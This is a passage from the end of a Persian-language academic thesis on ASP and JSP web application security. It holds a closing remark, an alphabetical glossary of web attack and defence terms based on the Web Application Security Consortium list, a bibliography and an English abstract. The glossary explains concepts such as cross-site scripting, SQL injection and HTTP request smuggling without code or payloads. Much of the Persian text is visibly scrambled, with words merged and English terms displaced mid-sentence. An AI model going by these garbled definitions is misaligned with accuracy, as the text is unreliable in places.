فاش شدن توسط نفوذگران بسيار خطرناك خواهند بود.‏لذا پيشنهاد مي شود تحقيقات در زمينه ساخت يك برنامه تحليل گر امنيتي وب كه با توجه به كدهايمنبع اقدام به پيدا كردن آسيب پذيري مي كند،‏ ادامه پيدا كند.‏1 Us Dept. of Defense and the software Engineering Institute2 5 year pentagon study3 Intel white paper, CERT, ICSA Labs4 patch5 Gartner group6 Black Box133

.7.1.7پيوستها:‏واژه نامه امنيت وب:‏اين واژه نامه به صورت الفبايي از واژگان و اصطلاحات رايج امنيت وب با توجه به كنسرسيوم امنيت1برنامه هاي كاربردي تحت وب تهيه شده است:‏Abuse of Functionality:يك تكنيك حمله است كه از خصيصه ها و كارايي يك وب سايت در جهت خراب كردن،‏ كلاه برداري ويا غلبه بر كنترل هاي دسترسي استفاده مي كند.‏برنامه اي كهActiveX Controls:controlمي شود.‏ كنترل هايباشندهايناميده مي شود با استفاده از تكنولوژي هايActivex ControlsActivexdownloadتوسعه دادهمي توانند به وسيله مرورگر هاي وبي كه اين تكنولوژي را فعال كردهو اجرا شوند.‏ كنترل هايActiveXمجموعه اي از قوانين هستند كه چگونگي بهاشتراك گذاري اطلاعات بين برنامه هاي كاربردي را معلوم مي كنند.‏ اين كنترل ها مي توانند با زبانC,C++,Visual BasicJava ونوشته شوند.‏AJAX:AJAXبه كلماتJavaScript و XMLبرميگردد.‏ اين تكنولوژي كه بر پايه مرورگر است به يك وبسايت اجازه مي دهد تا بدون باز تازه كردن صفحه براي كاربر،‏ به وسيله شي،JavaScript درخواست هاي اضافي كاربران را به منابع يك وب سايت انجام دهد.‏XMLHttpRequestدر1 Web Application Security Consortium, http://www.webappsec.org/134

يك اقدام امنيتي است كه با اجراي يك تست تورينگAnti‐Automation:(Turing Test)فقط اجازه عبور انسان ‏(و نهماشين)‏ را مي دهد؛ و با اين كار برنامه هاي خودكاري را كه از قابليت هاي سايت استفاده مي كنندمتوقف مي كنند.‏يك سرويس دهنده نرم افزاري،‏ كه معمولا ازApplication Server:HTTPبرنامه هاي كاربردي تحت وب را دارد.‏ در اينجا ميان افزارهايياستفاده مي كند و توانايي اجراي صفحات پوياي(middleware)نيز وجود دارند كهاين قطعه هاي نرم افزاري نزديك يا روي سرويس دهنده وب نصب مي شوند و در موقع نياز فراخوانيمي شوند.‏فرايند بررسي هويت يا مكان يك كاربر،‏ يك سرويس يا يك برنامه كاربردي راگويند.‏ تاييد اعتبار از طريق حداقل سه مكانيسم صورت مي گيرد:‏سخت افزار يا يك كارت)‏Authentication:Authentication- 1-2چيزي كه ما مي دانيم ‏(نظير يك پسورد)‏چيزي كه ما داريم ‏(نظير يك-3چيزي كه ما هستيم ‏(ماننداثر انگشت).‏ برنامه تاييد اعتبار ممكن است سرويس هاي متفاوتي را به بنا به مكان،‏ نحوه دسترسي،‏زمان روز و مانند آن ارائه دهد.‏Authorization:تعيين اينكه يك كاربر،‏ يك سرويس و يا يك برنامه به چه منابعي مجوز دسترسي دارد راAuthorizationگويند.‏ منابع قابل دسترس مي توانند URLها،‏ فايلها،‏ پوشه ها،‏ servletها،‏ پايگاههاي داده،‏ مسيرهاي اجرايي و مانند آن باشند.‏135

اين كلمه منسوخ شده و به جاي آن Predictable File Location وجود دارد.‏Backup File Disclosure:يك شكل ساده ازBasic Authentication:Authenticationطرف كاربر كه درHTTPپشتيباني مي شود.‏كاربر HTTPheaderدرخواست كه شامل رمز شده نام كاربري و پسورد با الگوريتمBase64يكاست به طرف سرورمي فرستد.‏ اگر نام كاربري و پسورد معتبر باشد،‏ سرويس دهنده وب اجازه دسترسي به منابع درخواستشده را به كاربر مي دهد.‏Brute Force:يك فرايند خودكار است كه از روش آزمايش و خطا براي حدس زدن رشته سري كه از يك سيستممحافظت مي كند،‏ استفاده مي كند.‏ مثال هاي از اين رشته محرمانه مي تواند نام هاي كاربري،‏ رمزهايعبور يا كليدهاي مخفي باشد.‏Buffer Overflow:يك تكنيك سو استفاده است كه جريان يك برنامه كاربردي را با بازنويسي قسمتي از حافظه به نفعخود تغيير مي دهد.‏ Buffer Overflow ها نتيجه معمول عملكرد بد نرم افزارهاست.‏ اگر داده اي كهدر بافر نوشته مي شود از حد خود عبور كند،‏ حافظه مجاور آن خراب مي شود و به صورت معمول ايجادخطا مي كند.‏ مهاجم ممكن است بتواند از وضعيت سرريز بافر براي تغيير فرايند اجراي برنامه بهرهبرداري كند.‏ سرريز كردن بافر و نوشتن مجدد اشاره گر پشتهبه اجراي دستورات دلخواه سيستم عامل شود.‏(memory‐stack)ممكن است منجر136

CGI Scanner:يك برنامه امنيتي خودكار كه به دنبال آسيب پذيري هاي شناخته شده سرويس دهنده هاي وب وبرنامه هاي تحت وب پركاربرد و رايج مي گردد.‏ اغلب CGIها Scanner در بررسي هاي خود خيليدقيق نيستند و فقط يك سري از درخواست هايبررسي مي كنند.‏HTTPرا در مقابل رشته هايCGIشناخته شدهاين اصطلاح منسوخ شده.‏ به جاي آن ازCGI Security:Web Application Securityاستفاده مي كنند.‏يك خصيصه مرورگر وب است كه كارايي و پويايي صفحاتزبان هايClient‐Side Scripting:HTMLClient‐Side Scripting‏(در طرف كاربر)‏ عبارتند ازرا افزايش مي دهد.‏ مثال هايي ازJScript ،JavaScript.VBScriptوبه صورت مخففCommon Gateway Interface:.CGIيك استاندارد برنامه سازي براي نرم افزار ها جهت وصل شدن به برنامه هايكاربردي مقيم در سرويس دهنده هاي وب و اجراي آنها مي باشد.‏اين اصطلاح منسوخ شده.‏ Predictable File Location را ببينيد.‏Configuration File Disclosure:137

Content Spoofing:تكنيك حمله اي است كه در آن يك كاربر فريب يك سايت تقلبي را مي خورد و فكر مي كند كهسايت تقلبي همان سايت اصلي با اطلاعات درست است.‏Cookie:داده هاي كوچكي كه به وسيله يك سرويس دهنده به سمت كاربر وب ارسال مي شوند،‏ كه مي توانندذخيره شوند و بعدا بازيابي گردند.‏Cookie Manipulation:تغيير دادن و دستكاري مقادير كوكي ها،‏ روي مرورگر وب كاربر،‏ براي به كارگيري يك ضعف امنيتيآشكار شده روي برنامه كاربردي تحت وب راCookie Manipulationگويند.‏ مهاجمان معمولامقادير كوكي هاي خود را براي به دست آوردن هويت جعلي در يك وب سايت دستكاري مي كنند.‏ اينحالت يك مثال از مشكل اعتماد كردن به كاربر است كه فرض شود هميشه ورودي هاي معقول ميفرستد.‏اين اصطلاح منسوخ شده است.‏Cookie Poisoning:اصطلاح Cookie Manipulationرا ببينيد.‏به طور خلاصهCross‐Site Scripting:XSSناميده مي شود.‏ يك تكنيك حمله است كه يك وب سايت را مجبور مي كند تاداده هاي تهيه شده توسط كاربر را انعكاس دهد تا در مرورگر يك كاربر ديگر اجرا شود.‏ وقتي يك كاربر138

مورد حملهXSSواقع مي شود،‏ مهاجم به تمام محتويات مرور گر وب وينسخه برنامه هاي كاربردي و مانند آن)‏ دسترسي دارد.‏‏(نظير كوكي ها،‏ تاريخچه،‏Debug Commands:ويژگي هاي اشكال زدايي برنامه هاي كاربردي يا فرمان هايي كه كمك به شناسايي خطاهاي برنامهنويسي در حين فرايند توسعه نرم افزار مي كنند.‏به طور خلاصهDenial of Service:.DoSتكنيك حمله ايست كه تمامي منابع موجود وب سايت را به قصد متوقف كردندسترسي هاي مجاز مصرف مي كند.‏ اين منابع شامل زمان ،CPU به كارگيري حافظه،‏ پهناي باند،‏فضاي ديسك و مانند آن مي باشند.‏ وقتي يكي از اين منابع به ظرفيت نهايي خود برسد،‏ دسترسيمعمولي كاربر به سيستم قطع خواهد شد.‏اين اصطلاح منسوخ شده.‏Directory Browsing:Directory Indexingرا ببينيد.‏اين اصطلاح منسوخ شده.‏ Predictable File Location را ببينيد.‏Directory Enumeration:139

Directory Indexing:خصيصه عادي يك سرويس دهنده وب معمول است كه باعث نمايش محتويات يك پوشه وقتي هيچفايل اصلي اي موجود نباشد مي شود.‏Directory Traversal:تكنيكي براي سو استفاده از وب سايت است كه از طريق دسترسي به فايل ها و فرامين فراتر از پوشهاصلي اسناد حاصل مي شود.‏ بسياري از وب سايت ها دسترسي كاربران را به يك قسمت مشخص ازفايل هاي سيستم كه به طور نمونه پوشه اصلي اسناد يا پوشه اصليCGIناميده مي شود،‏ محدود ميكنند.‏ اين پوشه ها شامل فايل ها و اجرا شدني هايي براي استفاده عموم هستند.‏ در بيشتر حالات،‏ يككاربر نبايد به فايل هايي فراتر ‏(بيرونتر)‏ از اين نقطه دسترسي پيدا كند.‏DOM Based Cross Site Scripting:DOM Based Cross‐Site ScriptingياDOM Based XSSيك حملهCross‐SiteScriptingاست كه از يك برنامه نويسيمي كند كه در صفحات پاسخ،‏ شرايط يكJavaScriptXSSJavaScriptرا در صفحه اي كه به صورت غير امن از داده هايآن آمده)‏ استفاده مي كند،‏ تغيير مي دهد.‏ ايننا امن ‏(يا به صورت كلي طرف كاربر)‏ استفادهاتفاق مي افتد.‏ در اين تكنيك،‏ مهاجم اجرايURL يا Referrerscriptممكن است تابعeval()مغرضانه و يا جاسازي كردن آن در DOM ‏(كه بنابراين مرورگر آن را به عنوان يكانگارد و آن را اجرا مي كند)‏ به كار برد.‏ اين تكنيك با يك‏(صفحه اي كه ازرا براي اجراي كدهايJavaScriptXSSاز طرف سرور در يك صفحه جا سازي مي شوند،‏ متفاوت است.‏ در برخي حالات،‏مياستاندارد كه در آن داده هاي مغرضانهDom Based XSSمي تواند طوري هدايت شود كه كدهاي مخرب حتي به سرويس دهنده وب نيز نرسند كه در اين حالتوقوع حمله از ديد سرويس دهنده مخفي مي ماند.‏140

Encoding Attacks:يك تكنيك سو استفاده است كه به وسيله تغيير شكل داده هاي كاربر و گذر از فيلترهاي بررسيكننده،‏ به وقوع حمله كمك مي كند.‏اين اصطلاح منسوخ شده است.‏Extension Manipulation:عبارت Filename Manipulationرا ببينيد.‏اين اصطلاح منسوخ شده است.‏File Enumeration:عبارت Predictable File Locationرا ببينيد.‏Filename Manipulation:يك تكنيك حمله براي سو استفاده از وب سايت است كه با دستكاري نام فايلها در URLدادن خطا در برنامه،‏ كشف محتويات پنهان يا نمايش كدهاي منبع يك برنامه مي شود.‏باعث رخFilter‐Bypass Manipulation:Encoding Attacksرا ببينيد.‏Forced Browsing:Predictable File Locationرا ببينيد.‏141

Form Field Manipulation:HTMLتغيير يا دستكاري مقادير ورودي فرم هايHTMLاستفاده از ضعف هاي امنيتي به وجود آمده در برنامه مي باشد.‏يا داده هاي پست شدهبه منظور سوFormat String Attack:يك تكنيك سو استفاده است كه جريان برنامه را با استفاده از ويژگيهاي كتابخانه فرمت رشته ها،‏ برايدسترسي به ديگر فضاهاي حافظه تغيير مي دهد.‏اين اصطلاح منسوخ شده است.‏Frame Spoofing:Content Spoofingرا ببينيد.‏مخفف آنHypertext Transfer Protocol:HTTPاست.‏ يك پروتكل است كه درWorld Wide WebHTTPمورد استفاده قرار مي گيرد.‏راه فرستادن درخواست ها از كاربر به سرويس دهنده و همچنين چگونگي پاسخ سرويس دهندهبه درخواست ها را مشخص مي كند.‏HTTP Request Smuggling:142HTTP Request Smuggling‏(مثلاز اختلاف هاي تجزيه اي(parsing)web application firewall ،proxy server ،cache serverوقتي يك يا چند ديوايسو مانند آن)‏ در مسيرجريان داده بين كاربر و سرويس دهنده وب وجود دارند،‏ بهره مي گيرد.‏ اين كار در حالي كه حمله هايمختلفي را مانندCross‐Site Scripting ،Session Hijacking ،Web Cache Poisoningرقممي زند،‏ توانايي عبور از ديوار آتش حفاظتي برنامه كاربردي تحت وب را دارد.‏ مهاجم بسته هاي فريب

دهنده مخصوصي به صورت درخواست هايHTTPمي فرستد كه باعث مي شود دو ديوايس موردحمله ‏(مثلا پروكسي و سرويس دهنده وب يا ديوار آتش و سرويس دهنده وب)‏ دو درخواست متفاوت ازهم را ببينند كه به نفوذگر اجازه مي دهد تا درخواست خود را به صورت مخفيانه به يك ديوايس برساندبدون آنكه ديوايس ديگر متوجه آن شود.‏اين تكنيك قدرت يافته تكنيكضدHTTP Response Smuggling:HTTP Response SplittingHTTP Response Splittingرا دور بزند.‏ اين تكنيك از حالت مشابهمي باشد كه مي تواند پيشگيري هايHTTP RequestSmugglingاستفاده مي كند و از اختلافات بين آنچه ضدHTTP Response SplittingHTTP response streamبه عنوانمي شناسد و responseاي stream كه به وسيله يك سرويسدهنده پروكسي ‏(يا يك مرورگر)‏ تجزيه شده است بهره مي برد.‏ بنابراين در حاليكه مكانيسم ضدHTTPResponse Splittingممكن است يك response stream را بي ضرر در نظر بگيرد،(HTTP response يك پروكسي يا مرورگر مي تواند هنوز آن را به عنوان دوتجزيه كند و بنابراين در معرض خطر تمامي نتيجه هاي تكنيك اصليقرار بگيرد.‏ براي مثال برخي از مكانيسم هاي ضدموتورهاي برنامه كاربردي استفاده مي شوند،‏ برنامه را از ورود يكsingle )HTTP responseHTTP Response SplittingHTTP Response Splittingشامل headerممنوع مي كنند.‏ با اين حال مهاجم هنوز مي تواند برنامه را مجبور به ورود يكCR+LFheaderكه در بعضيبراي پاسخشامل CRهاكند،‏ پس مكانيسم دفاع را دور مي زند.‏ بعضي از سرويس دهنده هاي پروكسي ممكن است هنوز CR رافقط به عنوان يك جداكنندهheader‏(و پاسخ)‏ در نظر بگيرند،‏ و در چنين شرايطي تركيب سرويسدهنده وب و سرويس دهنده پروكسي هنوز در مقابل حمله اي كه ممكن استآلوده كند آسيب پذير است.‏cacheپروكسي رااين حمله باعث مي شود تا سرويس دهنده وب دو پاسخيك پاسخHTTP Response Splitting:HTTPResponse Splitting143HTTPمي فرستاد‏(به همين دليلبفرستد،‏ كه در حالت معمول بايد تنهانامگذاري شده).‏ اين حمله

ممكن است به صورت تزريق پاسخبه وسيله تزريق داده هاي مخرب به يك(HTTP response injection) HTTPheader پاسخ HTTPCR+LFتوصيف شود،‏ و معمولاهدايت مي شود و از كاراكترهايبراي شكل دهي و اتمام پاسخ اول استفاده مي كند و سپس پاسخ اضافي را شكل داده و آن راكنترل مي كند.‏ وجود قسمت دوم،‏ پاسخ غير مترقبه به مهاجم كمك مي كند تا كاربري را كه اينپاسخ اضافي را دريافت كرده بفريبد و او را مجبور كند تا ابتدا درخواست دوم را بفرستد.‏ سپس اينكاربر پاسخ دوم ‏(كنترل شده توسط مهاجم)‏ را با قسمت دوم درخواست ‏(كنترل شده توسط مهاجم)‏مطابقت مي دهد.‏ نتيجه نهايي آنكه ‏(با توجه به جفت دوم درخواست-پاسخ كاربر)‏ كاربر مجبور مي شودتا درخواست دلخواه مهاجم را به طرف سرور نفوذپذير بفرستد و در پاسخ،‏ كاربر جواب فريبنده دلخواهمهاجم را دريافت مي كند.‏Information Leakage:وقتي است كه يك وب سايت داده هاي حساس نظير توضيحات برنامه نويس يا پيغام هاي خطا راآشكار مي كند كه نفوذگر را در سو استفاده از سيستم كمك مي كند.‏Insufficient Authentication:زمانيست كه وب سايت به مهاجم اجازه مي دهد تا به اطلاعات حساس يا توابع سيستم بدون بررسيهويت،‏ دسترسي پيدا كند.‏Insufficient Authorization:زمانيست كه وب سايت به مهاجم اجازه مي دهد تا به اطلاعات حساس يا توابع سيستم كه نيازمندافزايش سطح دسترسي محدود هستند،‏ دسترسي پيدا كند.‏144

Insufficient Session Expiration:زمانيست كه وب سايت به مهاجم اجازه مي دهد تا از Session Credentialهاي قديمي ياSession IDها براي اهراز هويت،‏ مجددا استفاده كند.‏Insufficient Process Validation:زمانيست كه يك وب سايت به مهاجم اجازه مي دهد تا جريان بررسي برنامه كاربردي را دور بزند يافريب دهد.‏يك زبان برنامه نويسي معمول كه توسطJava:Sun Microsystems(tm)توسعه يافته است.‏يكJava Applets:appletبرنامه ايست كه با زبانJavaوقتي كه يك مرورگر با توانايي ديدن ،Java يك صفحه شاملنوشته مي شود و مي تواند در يك صفحه وب به كار رود.‏appletJava Virtual Machine(JVM)اجرا مي شوند.‏را مرور كند،‏ كد ها توسطJavaScript:يك زبان معمول اسكريپت نويسي طرف كابر كه براي ايجاد محتويات صفحه وب پويا استفاده مي شود.‏Known CGI file:145Predictable File Locationرا ببينيد.‏

Known Directory:Predictable File Locationرا ببينيد.‏LDAP Injection:يك تكنيك براي سو استفاده از وب سايت به وسيله تغيير عباراتورودي برنامه مي باشد.‏ شبيه متدولوژي SQL Injection مي باشد.‏LDAP انتهايي از طريق دستكاريMeta‐Character Injection:يك تكنيك حمله است كه با فرستادن كاراكترهاي مخصوص به عنوان داده ورودي كه هركدام معانيخاصي براي برنامه كاربردي تحت وب دارند،‏ از وب سايت سو استفاده مي كند.‏ Meta‐Characterهاكاراكترهايي با معاني خاص براي زبان هاي برنامه نويسي،‏ فرمان هاي سيستم هاي عامل،‏ فرايندهايخاص برنامه،‏ درخواست هاي پايگاه داده و مانند آن هستند.‏ اين كاراكترهاي خاص مي توانند رفتار يكبرنامه كاربردي تحت وب را كاملا تغيير دهند.‏Null Injection:يك تكنيك سو استفاده است كه براي گذر از فيلترهاي بررسي صحت داده با استفاده از اضافه كردنكاراكترهايnull‐byteرمز شده در ،URL به عنوان داده ورودي كاربر،‏ انجام مي شود.‏ وقتي توسعهدهندگان برنامه هاي كاربردي تحت وب را با زبان هاي گوناگون مي سازند،‏ اين برنامه هاي كاربرديمعمولا داده ها را براي پردازش بيشتر و كارايي بالاتر به توابعرشته فرستاده شده توسط كاربر شامل كاراكترپردازش رشته را در نقطهاست.‏C(\0) nullnullمتوقف كند.‏Null Injectionسطح پايين تر مي فرستند.‏ حال اگرباشد،‏ برنامه كاربردي تحت وب ممكن استيك شكل حملهMeta‐Character146

OS Command Injection:OS Commandingرا ببينيد.‏OS Commanding:يك تكنيك حمله است كه از وب سايت،‏ به وسيله اجراي فرمان هاي سيستم عامل از طريق دستكاريورودي برنامه كاربردي،‏ سو استفاده مي كند.‏Page Sequencing:Insufficient Process Validationرا ببينيد.‏Parameter Tampering:URLتغيير يا دستكاري نام پارامترها و ارزش آنها را در يك URLگويند.‏همچنين به عنوانManipulation شناخته مي شود.‏Password Recovery System:يك فرايند خودكار كه به كاربر اجازه مي دهد تا در صورت فراموش كردن يا گم كردن رمز عبور خود،‏آن را بازيابي يا ريست كند.‏Predictable File Location:تكنيكي براي دسترسي به محتويات يا توابع پنهان يك سايت است كه به وسيله حدس زدن هايهوشمندانه به صورت دستي يا خودكار روي نام و مكان فايل ها انجام مي شود.‏ مكان هاي قابل147

پيشبيني مي تواند شامل دايركتوري ها،‏موقت و مانند آن باشد.‏CGIها،‏ فايل هاي تنظيمات،‏ فايل هاي پشتيبان،‏ فايل هايبه صورت مخففSecure Sockets Layer:.SSLيك پروتكل كليد عمومي استاندارد صنعتي كه براي ساختن تونل هاي امن بيندو ديوايس مرتبط در شبكه به كار مي رود.‏ براي ارتباطات وب HTTP بهHTTPSتبديل مي شود.‏Session Credential:رشته اي از داده است كه توسط سرويس دهنده وب درست مي شود و معمولا در يك كوكي يا URLذخيره مي شود.‏Session Fixation:يك تكنيك حمله است و كاري ميكند تاياSession ID كاربر يك مقدارSession Credentialثابت معلوم را اختيار كند.‏Session Forging:Session Predictionرا ببينيد.‏Session Hi‐Jacking:نتيجه فاش شدنكاربر توسط مهاجم است.‏مهاجم مي تواند از اينsession دزديده شدهsessionاستفاده كند و خودش را به جاي كاربر اصلي جا بزند.‏148

Session ID:يك رشته داده است كه توسط سرويس دهنده ساخته مي شود و معمولا در يك كوكي يا يكذخيره مي شود.‏ يكتوسط وي را پيگيري كند.‏URLSession IDنشست كاربر را دنبال مي كند و يا شايد فقط پيمودن يك سايتSession Manipulation:Sessionيك تكنيك حمله براي دزديدن نشست كاربر ديگر به وسيله تغيير مقدار Session IDياCredentialاست.‏يك تكنيك حمله براي ساختنSession Prediction:Session Credentialهاي تقلبي يا حدس زدن Session ID فعليكاربر است و اگر موفق باشد،‏ مهاجم مي تواند با استفاده از نشست دزديده شده خودش را به جاي يككاربر ديگر جا بزند.‏وقتي است كه يك وب سايت به مهاجم اجازه مي دهد تا دوباره از يكSession Replay:Session Credentialيا Session IDقديمي براي Authorization استفاده كند.‏قديميSession Tampering:Session Manipulationرا ببينيد.‏149

SQL Injection:يك تكنيك حمله براي سو استفاده از يك وب سايت به وسيله تغيير عبارات SQLدستكاري ورودي هاي برنامه كاربردي مي باشد.‏نهايي از طريقSSI Injection:يك تكنيك حمله طرف سرور است كه به مهاجم اجازه مي دهد تا كدهاي خود را داخل برنامه كاربرديبفرستد كه به وسيله سرويس دهنده وب اجرا خواهد شد.‏به صورت مخففTransport Layer Security:.TLSيك جانشين امن تر به جاي.SSLرا تامين مي كند.‏ اين پروتكل به برنامه هاي كاربرديTLS پروتكل(client/server)پوشيدگي ارتباطات در اينترنتاجازه مي دهد تا ارتباطاتخود را به گونه اي برقرار كنند تا از استراق سمع كردن،‏ تغيير هاي نادرست يا پيام هاي جعلي در امانTLS بمانند.‏بر پايه پروتكل‏(باهم سازگار نيستند).‏SSLبنا شده اما اين دو سيستم قابل كاركردن به طور همزمان نيستندUniversal Resource Locator:به صورت مخففاينترنت مي باشد.‏.URL يك راه استاندارد براي تشخيص مكان يك شي،‏ معمولا يك صفحه وب،‏ رويUnvalidated Input:وقتي است كه يك برنامه كاربردي تحت وب،‏ صحت داده هاي فرستاده شده توسط كاربر را به درستيبررسي نمي كند.‏150

URL Manipulation:تغيير يا دستكاري نام و مقادير پارامترهاي يك برنامه كاربردي تحت وب را URL Manipulationگويند.‏User‐Agent Manipulation:تكنيكي براي گذر از محدوديت نوع مرورگر توسط يك وب سايت است كه به وسيله تغيير مقدارفرستاده شده درheaderتحت عنوانHTTP User‐Agentانجام مي شود.‏Verbose Messages:قسمت هاي اطلاعات جزئي كه توسط يك وب سايت آشكار مي شوند كه مي توانند مهاجم را در سواستفاده از سيستم ياري دهند.‏Visual Verification:شيو هاي تصويرگراي ضد سيستم هاي خودكار هستند و براي توقف برنامه هاي خودكار كه از كارايييك وب سايت استفاده مي كنند،‏ به اين صورت كه وجود يك هوشياري را مي سنجند،‏ به كار مي روند.‏Weak Password Recovery Validation:زمانيست كه وب سايت اجازه مي دهد تا مهاجم به طور غير قانوني رمز عبور كاربر ديگر را به دستآورد،‏ تغيير دهد يا بازيابي كند.‏151

Web Application:يك نرم افزار كاربردي كه به وسيله سرويس دهنده وبمي دهد)‏ اجرا مي شود.‏‏(كه به درخواست هاي صفحات وب پويا پاسخWeb Application Scanner:Web Application Vulnerability Scannerرا ببينيد.‏علم امنيت اطلاعات در رابطه باWeb Application Security:HTTP ،World Wide WebWeb Application Securityگويند.‏و نرم افزار هاي كاربردي تحت وب راWeb Application Firewall:يك ديوايس واسط كه بين كاربر وب و سرويس دهنده وب قرار مي گيرد و پيغام هايOSI Layer‐7را براي تشخيص تخطي از سياست امنيتي برنامه ريزي شده،‏ بررسي مي كند.‏ ديوار آتش برنامهكاربردي تحت وب به عنوان يك ديوايس حفاظت كننده سرويس دهنده وب از حملات استفاده ميشود.‏Web Application Vulnerability Scanner:يك برنامه خودكار امنيتي است كه به دنبال آسيب پذيري هاي امنيتي نرم افزارها روي برنامه هايكاربردي تحت وب مي گردد.‏152

Web Browser:برنامه اي براي نمايش صفحات وب (HTML) Hypertext Markup Languageتوسط يك سرويس دهنده است.‏فرستاده شدهعمل اضافه كردن يا بازنويسيWeb (or browser) Cache Poisoning:cacheداده هاي مخرب يا فريب دهنده رامي تواند ورودي هاي دلخواه ‏(نظيركند.‏ درواردهcaching)Cache PoisoningURLيك سرويس دهنده پروكسي يا يك مرورگر)‏ باگويند.‏ در حالت قوي اين عمل،‏ يك مهاجمانتخابي،‏ يا يك صفحه با محتويات دلخواه)‏ را واردcacheHTTP Response Splitting‏(توضيح داده شده)‏ مهاجم مي تواند مسيرURLport ،host)وانتخاب كند.‏ درschemeو پرس و جوبايد پذيرنده آسيب پذيري باشند)‏ و كل محتويات صفحه را به دلخواهHTTP Request Smugglingمهاجم مي تواند مانندHTTP ResponseURL ،Splittingكند.‏ در هر صورترا انتخاب كند اما محتويات صفحه را بايد از يكURLCache Poisoning(defacement)روي همان سايت انتخابمي تواند به عنوان يك شكل از تغيير ظاهردر نظر گرفته شود كه وسعت آن به وسيله منطقه زير پوششcachebrowserكاربر،‏ 1 برايforward proxy1 برايكاربران)‏ و توانايي حمله ‏(دسترسي به تمامي صفحه رويآن)‏ تعيين مي شود.‏سازمان ياreverse proxy ،ISP/index.html‏(مثلبراي همهو يا دسترسي به بخشي ازWeb Security:Web Application Securityرا ببينيد.‏153

Web Security Assessment:فرايند اجراي وارسي امنيتي يك برنامه كاربردي تحت وب به وسيله جستجوي عيوب طراحي،‏ آسيبپذيري ها و ضعف هاي ذاتي آن است.‏Web Security Scanner:Web Application Vulnerability Scannerرا ببينيد.‏يك نرم افزار همه منظوره است كه با در خواست هايWeb Server:HTTPسر و كار دارد و به آنها پاسخ مي دهد.‏يك سرويس دهنده وب ممكن است از يك برنامه كاربردي تحت وب براي محتويات صفحات وب پويااستفاده كند.‏يك نرم افزار كاربردي است كه از پيام ها با قالبWeb Service:Extensible Markup Language(XML)ارتباط روي HTTP استفاده مي كند.‏ عمدتا نرم افزارهاي كاربردي ترجيحا با سرويس هاي وبيبرايweb )(servicesبيشتر از كاربران معمولي فعل و انفعال دارند.‏154

فهرست منابع:‏1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's HandbookDiscovering and Exploiting Security Flaws", Wiley Publishing Inc., 20082. Shema Mike, "Hack Notes Web Security Portable Reference", McGraw-Hill/Osborne, 20033. McClure Stuart, Scambray Joel, Kurtz George, "Hacking Exposed Fifth EditionNetwork Security Secrets & Solutions", McGraw-Hill/Osborne, 20054. Ambrosch Dl Robert, "Hacking 101" Workshop, Wien, 8 Nov., 20075. Gartner, Nov 2005, http://gartner.com6. Open Web Application Security Project, http://www.owasp.org/7. Web Application Security Consortium, http://www.webappsec.org/8. http://en.wikipedia.org/9. http://www.imperva.com/application_defense_center/papers/how_safe_is_it.html10. http://www.webwizguide.com/kb/asp_tutorials/what_is_asp.asp11. http://java.sun.com/products/jsp/faq.html12. http://condor.depaul.edu/~mwright1/j2ee/13. http://j2ee.masslight.com/Chapter1.html14. Http://www.mitre.org/15. Checklist: ASP Security (IIS 6.0),http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/27043ff9-b319-4ad6-b530-a7ddfd8fcff3.mspx?mfr=true16. PCI Data Security Standard v1.1, https://www.pcisecuritystandards.org/17. http://ha.ckers.org/18. Http://www.bugreport.ir19. Http://www.securityfocus.com20. Http://www.milw0rm.com.8155

Abstract: This project is about web application security in ASP and JSP.Basic concepts about web applications and the web languages is discussed inthe first chapter. In the next chapter, core security problems of webapplications and the most important web applications’ vulnerabilities ismentioned. In the third chapter, with trend of identifying attack steps on webapplications, mapping the application and searching for the vulnerabilitieshave been examined. Finally, the last chapter is about protection methodsand hardening against attack operation.Key words: Security - Vulnerability - Web application - ASP - JSP156